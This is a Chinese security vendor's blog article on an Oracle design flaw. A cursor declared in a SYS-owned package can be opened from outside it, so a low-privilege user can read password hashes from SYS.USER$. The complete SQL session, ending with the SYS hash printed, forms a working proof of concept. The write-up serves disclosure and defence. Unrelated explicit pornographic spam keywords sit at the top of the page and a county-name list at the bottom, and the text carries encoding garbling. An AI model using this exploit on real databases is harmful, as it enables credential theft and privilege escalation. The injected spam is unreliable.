欧美乱码精品一区二区三区,风流少妇又紧又爽又丰满,被债主在夫面前人妻被强,国产精品视频永久免费观看

?
內(nèi)容中心
按關(guān)鍵字查找
Oracle數(shù)據(jù)庫游標(biāo)帶來的安全隱患之游標(biāo)設(shè)計(jì)本身的安全隱患
作者:安華金和 發(fā)布時間:2017-01-21

前文我們介紹了兩種Oracle游標(biāo)的數(shù)據(jù)庫安全隱患,一是利用游標(biāo)的掛起狀態(tài)進(jìn)行惡意代碼注入,二是利用惡意代碼注入進(jìn)行提權(quán),其實(shí)通過游標(biāo)獲取高權(quán)限賬號的密碼完全不用這么麻煩,oracle在游標(biāo)設(shè)計(jì)上本身就有安全問題。

用高權(quán)限用戶寫一個包,這個包中放入一個游標(biāo),功能和前面用的schina_test是一致的。用來取回需要檢查賬號的hash。然后和我們給出的一組預(yù)設(shè)hash做對比。低權(quán)限用戶如果知道這個游標(biāo)可以直接在包外調(diào)用該游標(biāo),從而獲取游標(biāo)中的內(nèi)容。包內(nèi)游標(biāo)可以在包外被調(diào)用,這是oracle游標(biāo)本身設(shè)計(jì)上的安全缺陷。

SQL> connect / as sysdba

已連接。

SQL>  CREATE OR REPLACE PACKAGE schina AS

  2   CURSOR X (USERNAME IN VARCHAR2) IS SELECT PASSWORD FROM SYS.USER$

  3  WHERE NAME=USERNAME;

  4   PROCEDURE CHECK_PASSWORD;

  5   END;

  6   /


程序包已創(chuàng)建。


SQL> CREATE OR REPLACE PACKAGE BODY schina AS

  2  PROCEDURE CHECK_PASSWORD IS

  3  PASSWORD VARCHAR2(200);

  4  BEGIN

  5  OPEN X (USER());

  6  FETCH X INTO PASSWORD;

  7  CLOSE X;

  8    IF PASSWORD = '01234567890ABCDEF' THEN

  9       DBMS_OUTPUT.PUT_LINE('YOUR PASSWORD HASH IS NOT OK');

 10  ELSE

 11       DBMS_OUTPUT.PUT_LINE('YOUR PASSWORD HASH IS OK');

 12  END IF;

 13  END CHECK_PASSWORD;

 14  END;

 15   /

程序包體已創(chuàng)建。

SQL> show errors

沒有錯誤。

SQL> GRANT EXECUTE ON SYS.SCHINA TO PUBLIC;

授權(quán)成功。

    通過show errors檢驗(yàn)發(fā)現(xiàn)整個過程沒有X游標(biāo)掛起的問題。X游標(biāo)正常關(guān)閉了,到現(xiàn)在為止操作一切正常切換到低權(quán)限賬號

SQL> connect scott/tiger

已連接。

SQL> set serveroutput on

SQL> exec  sys.schina.check_password;

YOUR PASSWORD HASH IS OK

    執(zhí)行包返回的結(jié)果很安全,不會顯示出游標(biāo)內(nèi)存儲的內(nèi)容,但如果通過一個匿名塊,在包外使用游標(biāo)的結(jié)果就變得不安全了,低權(quán)限用戶可以輕易使用高權(quán)限用戶設(shè)置的游標(biāo)。通過游標(biāo)直接可以獲取到游標(biāo)中存儲的結(jié)果集。

SQL> DECLARE PASSWORD VARCHAR2(200);

  2  BEGIN OPEN SYS. SCHINA.X ('SYS');

  3  FETCH SYS. SCHINA.X INTO PASSWORD;

  4  CLOSE SYS. SCHINA.X;

  5  DBMS_OUTPUT.PUT_LINE('The SYS password is '|| PASSWORD);

  6  END;

  7  /

The SYS password is CF10653F66A74AC2

任何權(quán)限賬號的密碼通過這種方式都會被低權(quán)限用戶直接獲取HASH值,然后通過HASH逆向工具,獲取全部賬號的密碼。

至此我們對我們已經(jīng)分析了3種Oracle數(shù)據(jù)庫游標(biāo)帶來的安全隱患。游標(biāo)作為oracle的核心子程序,安全性十分重要。oracle的游標(biāo)雖然解決了一些問題,但安全性上還有很大問題。安華金和建議Oracle給游標(biāo)一個參數(shù),作為安全參數(shù)。默認(rèn)打開安全參數(shù),當(dāng)游標(biāo)在其被定義的包外打開的時候,對游標(biāo)進(jìn)行強(qiáng)制檢查,一旦發(fā)現(xiàn)打開該游標(biāo)的用戶權(quán)限低于創(chuàng)建游標(biāo)者的權(quán)限,則直接拋出異常,禁止打開該游標(biāo),從而保證Oracle數(shù)據(jù)庫安全性。


?
澜沧| 和田市| 宜丰县| 西乡县| 习水县| 鹤山市| 宣恩县| 林周县| 呼伦贝尔市| 安阳市| 万山特区| 兴义市| 秭归县| 黄冈市| 榆中县| 资兴市| 肃北| 垦利县| 云安县| 鸡泽县| 射阳县| 临澧县| 陆川县| 蒙山县| 师宗县| 剑河县| 左贡县| 鄂温| 苏尼特右旗| 山阳县| 自贡市| 长阳| 洛扎县| 垫江县| 宁南县| 湘阴县| 多伦县| 武定县| 会昌县| 扎赉特旗| 德令哈市|